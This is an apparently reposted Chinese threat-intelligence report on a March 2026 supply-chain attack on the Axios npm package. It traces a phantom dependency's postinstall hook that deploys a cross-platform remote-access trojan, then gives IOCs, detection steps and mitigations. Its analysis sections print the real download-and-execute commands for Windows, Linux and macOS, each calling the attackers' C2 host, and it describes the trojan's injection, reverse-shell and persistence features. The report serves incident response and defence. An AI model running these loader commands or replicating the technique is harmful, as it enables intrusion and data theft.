2026-04-02 05:08:29 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 本报告详细分析了2026年3月31日发生的Axiosnpm供应链攻击事件。攻击者通过劫持维护者账号，在[email protected]和[email protected]版本中植入恶意幽灵依赖plain-crypto-js，该依赖会在安装时下载并部署跨平台远控木马。报告剖析了攻击时间线、技术细节（如postinstall钩子、载荷混淆与平台特定行为），并提供了版本锁定、环境审计等缓解措施。 综合评分： 95 文章分类： 供应链安全,恶意软件,应急响应,漏洞分析,技术标准

cover_image

Axios npm供应链攻击威胁分析报告

360威胁情报中心

2026年3月31日 19:21 北京

2026年3月31日，npm生态中广泛使用的JavaScript HTTP客户端库Axios遭受供应链攻击。攻击者通过劫持合法维护者账号jasonsaayman，在未修改任何仓库源代码的情况下，仅在package.json中注入了恶意二次依赖 [email protected]实施攻击。该依赖的 postinstall 生命周期钩子会在安装阶段自动执行，下载并部署跨平台远控木马（RAT），覆盖macOS/Windows/Linux。

本次攻击采用“幽灵依赖 + 诱饵版本 + 自清理”策略，能够在不触发常规源码差异检查的情况下完成投毒，并在短时间内完成发布、感染与下线。恶意版本[email protected]与[email protected]的存活时间均不足3小时，已被npm官方紧急下架。

*风险提醒*

任何在2026年3月31日北京时间08:21之后执行npm install的环境，若依赖范围为1.14.0或0.30.0，均可能已遭感染。建议立即执行版本锁定、环境审计、IOC 扫描与凭证轮换。

一、事件背景

Axios是npm生态中下载量最高的包之一，周下载量超过1亿次，直接或间接依赖项目超过17.4万个。攻击者通过npm发布凭证劫持实现投毒，未对GitHub仓库源码进行任何改动，仅利用postinstall生命周期钩子完成后门植入。

该攻击手法与近年来多起npm供应链事件高度一致：

基础组件维护者账号安全（MFA/Token 管控）的关键性；
安装脚本（preinstall/install/postinstall）在默认执行策略下的固有风险；
仅依赖“源码审计/差异对比”的安全策略存在盲区。

二、详细攻击时间线

2026-03-30 13:57，发布[email protected]（干净诱饵版本），用于建立发布历史与可信度；
2026-03-31 00:03:46，恶意C2域名 sfrclak.com 完成注册；
2026-03-31 07:59，发布[email protected]（恶意版本，植入 postinstall 钩子）；
2026-03-31 08:21，发布[email protected]（主版本），自动依赖恶意包并注入 RAT（回连 sfrclak.com:8000）；
2026-03-31 09:00，发布[email protected]（0.x 分支版本），同样植入后门；
2026-03-31 10:35，开发者社区及厂商开始大规模警报传播；
2026-03-31 11:15，npm官方紧急下线两个恶意Axios版本；
2026-03-31 12:26，npm为plain-crypto-js发布安全占位版本，阻断攻击链。

三、技术分析

3.1 攻击手法概览

•初始访问：劫持npm维护者账号jasonsaayman，将联系邮箱修改为[email protected]（用于接收通知/找回/验证）。

•执行：仅修改 package.json，注入“源码中未引用”的幽灵依赖plain-crypto-js@^4.2.1，并移除 prepare 脚本以降低构建阶段暴露。

•持久化与自清理：postinstall执行混淆的setup.js，按平台下载payload，随后主动覆盖自身package.json为干净版本并删除临时痕迹。

•命令与控制（C2）：http://sfrclak.com:8000/6202033（IP：142.11.206.73），仅支持 POST 请求，User-Agent 伪装为旧版 IE，约每 60 秒 beacon 通联。

3.2 混淆技术（setup.js）分析

setup.js 采用多层混淆（Base64 + 字符反转 + XOR 加密等），解混淆后可见 child_process、os、fs、http 等模块调用与平台判断逻辑，用于分发不同平台的后续载荷并执行落地。

3.3 平台特定 Payload 行为概览

三个平台的荷载虽然用三种语言写的，但是在代码结构上几乎一模一样，疑似使用AI生成。

3.4 Windows PowerShell Payload分析

本节对 Windows 阶段载荷（PowerShell 远控木马）的行为分析，用于支撑已感染主机的取证、检测与响应。

3.4.1 载荷拉取与执行链

攻击者将PowerShell解释器/二进制复制到 %PROGRAMDATA%\wt.exe，随后通过 curl 从 C2 拉取下一阶段 6202033.ps1 并以隐藏窗口方式执行。执行完成后删除临时脚本以降低取证可见性。

关键命令（示例）：

curl -s-X POST -d”packages.npm.org/product1″”http://sfrclak.com:8000/6202033″>”%UserProfile%\AppData\Local\Temp\6202033.ps1″ \ &”C:\ProgramData\wt.exe” -w hidden -ep bypass -file”%UserProfile%\AppData\Local\Temp\6202033.ps1″”http://sfrclak.com:8000/6202033″ \ &del”%UserProfile%\AppData\Local\Temp\6202033.ps1″/f

要点：

•C2 地址通过脚本参数传入（便于复用同一载荷投递不同节点）

•-ep bypass 绕过PowerShell执行策略

•下载—执行—删除形成短链路落地

3.4.2 功能模块与关键行为

该PowerShell载荷为远控木马，核心能力包括：

1) 持续驻留：将PowerShell命令保存为批处理文件并写入注册表Run启动项实现自启动。

2)文件遍历与信息回传：遍历 %USERPROFILE%\Documents、Desktop、OneDrive、AppData\Roaming 等目录，并扩展遍历所有盘符，收集文件清单后回传 C2。

3)环境探测：回传运行进程列表、用户名、机器名、操作系统版本/类型、安装时间、时区、启动时间与当前时间、硬件型号等基础信息。

4)反射注入（peinject）：当C2下发 type=peinject 指令时，载荷将下发的 shellcode 或 DLL 以反射方式注入至当前进程，实现内存驻留与更强的对抗能力。

5)脚本执行（runscript）：当C2下发type=runscript指令时，执行其携带的脚本内容并回传结果。

6)指定目录遍历（rundir）：当C2下发type=rundir指令时，遍历下发数据中指定目录并回传枚举结果。

3.4.3 检测与响应方法

•网络侧：重点关注对sfrclak.com:8000的POST出站通信与周期性beacon特征。

•主机侧：

–注册表 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 中的异常启动项（启动项名：MicrosoftUpdate）

–%PROGRAMDATA% 目录下可疑批处理与可执行文件（如 wt.exe / system.bat）

–临时目录中 6202033.ps1 的短时出现（结合 EDR/审计日志回溯）

3.5 Linux Python Payload 分析

本节对 Linux 阶段载荷（Python 远控木马）的行为分析，重点说明其在 Linux 环境下的落地方式与相较 Windows 载荷的行为差异，用于支撑主机侧排查与应急响应。

3.5.1 载荷拉取与执行链

当攻击目标为 Linux 操作系统时，攻击链通常通过 /bin/sh 直接调用 curl 从 C2 下载 Python 脚本并在后台执行：

/bin/sh-c”curl -o /tmp/ld.py -d packages.npm.org/product2 -s http://sfrclak.com:8000/6202033 && nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &”

要点：

•载荷落地路径为 /tmp/ld.py，并通过 nohup 后台运行，输出重定向到 /dev/null 以降低运行痕迹。

•C2 地址同样通过脚本参数传入（便于同一载荷复用与动态切换 C2）。

3.5.2 与Windows载荷的关键差异

综合样本行为可见，该 Linux Python 远控木马整体功能与 Windows PowerShell 载荷基本一致（信息探测、目录遍历、命令执行与回传等），但在两类指令上存在关键差别：

1)peinject 指令处理差异：Linux 侧不使用反射注入，而是将 C2 下发的 shellcode 保存为临时可执行文件，赋予执行权限后直接启动。

2)runscript 指令处理差异：Linux 侧倾向于使用反弹 shell（reverse shell）方式建立交互通道，而非在本地直接执行脚本文本并回传执行结果。

3.5.3 检测与响应方式

•网络侧：

–关注对 sfrclak.com:8000 的 POST 出站通信（与 Windows 类似）。

–若出现反弹 shell 行为，需结合出口策略与 IDS/NetFlow 进一步排查异常外联。

•主机侧：

–/tmp/ld.py 的创建与执行链（curl → python3 → nohup）

–/tmp/.<随机> 形式的可疑临时可执行文件（用于承载下发的 shellcode 并执行）

–关联进程树特征：sh/bash 拉起 curl 与 python3，并存在长期驻留的 Python 进程

3.6 macOS Payload 分析

本节对 macOS 阶段载荷（落地文件：/Library/Caches/com.apple.act.mond）的行为分析，重点关注其在 macOS 环境下的落地执行链与针对 Gatekeeper 的绕过策略，用于支撑终端侧排查与应急响应。

3.6.1 载荷拉取与执行链

针对 macOS 目标时，攻击者通过 curl 从 C2 下载载荷并保存到 /Library/Caches/com.apple.act.mond 路径，随后赋权并触发执行。

curl -o “/Library/Caches/com.apple.act.mond”-d”packages.npm.org/product0″-shttp://sfrclak.com:8000/6202033 \ &&chmod 770 “/Library/Caches/com.apple.act.mond”\ &&/bin/zsh-c”/Library/Caches/com.apple.act.mond \”packages.npm.org/product0\””\ > /dev/null 2>&1&

要点：

载荷落地于 ~/ 之外的系统缓存目录（/Library/Caches），更贴近“系统组件”伪装。
输出重定向到 /dev/null 并后台运行，降低可见性。

3.6.2 与 Windows/Linux 载荷的关键差异

样本整体功能与 Windows PowerShell / Linux Python 版本基本一致，但在两类指令处理上体现出 macOS 平台特性：

1)peinject指令处理差异（Gatekeeper绕过）：收到 peinject 指令后，会在 /private/tmp/ 写入随机文件名的临时可执行文件，写入 C2 下发的 shellcode，并通过 codesign –force –deep –sign – 进行签名处理，以提高执行成功率并规避部分 Gatekeeper 校验路径。

2)runscript指令处理差异（osascript执行）：收到 runscript 指令后，会创建形如 /tmp/.XXXXXX.scpt 的临时脚本文件，并使用 /usr/bin/osascript 执行 AppleScript 内容。

3.6.3 检测与响应方式

网络侧：

关注对 sfrclak.com:8000 的 POST 出站通信与周期性 beacon（与其他平台一致）。

主机侧：

–/Library/Caches/com.apple.act.mond的创建、权限变更（chmod）与执行（zsh -c）；

–/private/tmp/ 下随机文件名的短时可执行文件（配合 codesign 命令调用）；

–/tmp/.XXXXXX.scpt 与 /usr/bin/osascript 的异常调用链。

四、影响评估

受影响范围：直接/间接依赖 axios@^1.14.0 或 axios@^0.30.0 的所有项目（包括 CI/CD 流水线、构建服务器与开发机）。
潜在后果：系统信息窃取、凭证泄露、远程命令执行、跨平台持久化后门、进一步横向移动。
当前状态：恶意版本已被 npm 下架，但已安装环境需视为已失陷并按入侵处置流程处理。

五、缓解措施

5.1 优先针对开发项目进行版本锁定

在 package.json 中将 Axios 固定为已知安全版本，并强制覆盖所有传递依赖：

{ “dependencies”:{ “axios”:”1.14.0″ }, “overrides”:{ “axios”:”1.14.0″ } }

•Yarn 用户可使用 resolutions 字段；pnpm 用户可使用 overrides 字段。

•提交 package-lock.json 并使用 npm ci 确保构建一致性。

5.2 针对疑似中招环境进行审计与IOC 检测

（1）依赖版本与锁文件检查

检查当前安装的 axios 和 plain-crypto-js 版本 npm ls axios plain-crypto-js –all

全面搜索锁文件中的恶意版本 grep -E ‘axios@(1.14.1|0.30.4)|[email protected]’\ package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null ||true

（2）node_modules 目录扫描

find . -path’*/node_modules/plain-crypto-js’-type d 2>/dev/null find . -path’*/node_modules/axios’-name’package.json’ -exec grep -E ‘1.14.1|0.30.4’ {} + 2>/dev/null

（3）文件系统 IOC 扫描

macOS/Linux 示例 find /Library/Caches -name”com.apple.act.mond”2>/dev/null find /tmp -name”ld.py” 2 >/dev/null

（4）Linux网络 IOC 检查

ss -tup|grep -E ‘sfrclak.com|142.11.206.73’|| netstat -tup|grep -E ‘sfrclak|142.11’

（5）检测后的处理建议

如发现任何 IOC：立即隔离主机，保全证据，启动应急响应流程。
清理建议（仅在完成取证后）：rm -rf node_modules package-lock.json && npm install。

5.3 轮换可能已失陷受影响的凭证

所有接触过受影响环境的凭证必须立即轮换，包括：npm tokens、SSH 密钥、云平台凭证、GitHub PAT 等。建议启用 MFA，并收敛令牌权限与生命周期。

5.4 对CI/CD流程进行安全防护加固

构建阶段忽略安装脚本（按需评估兼容性） npm ci –ignore-scripts

#

总结

本次事件再次印证：npm 供应链安全的核心脆弱点在于维护者账号凭证与 install 脚本默认可执行。即使做到“零源码改动”，攻击者仍可通过依赖注入在构建/安装阶段实现高隐蔽性、跨平台的持久化控制。

360建议所有使用 Axios 的团队落实“零信任依赖”原则：

版本锁定与锁文件强制
构建阶段最小化脚本执行（必要时 –ignore-scripts）
持续依赖安全扫描与供应链监测
凭证最小权限、短周期与强 MFA

附录 IOCs

•恶意包名称：

plain-crypto-js@4[.]2.1

axios@1[.]14.1

axios@0[.]30.4

•C2 基础设施：

sfrclak[.]com:8000

http://sfrclak[.]com:8000/6202033

142.11.206[.]73

•典型文件路径：

macOS：

/Library/Caches/com[.]apple.act.mond

$TMPDIR/6202033

Windows：

%PROGRAMDATA%\wt[.]exe

Linux：

/tmp/ld[.]py

•Windows Payload SHA256：

ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c

•macOS Payload SHA256：

92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：360威胁情报中心《Axios npm供应链攻击威胁分析报告》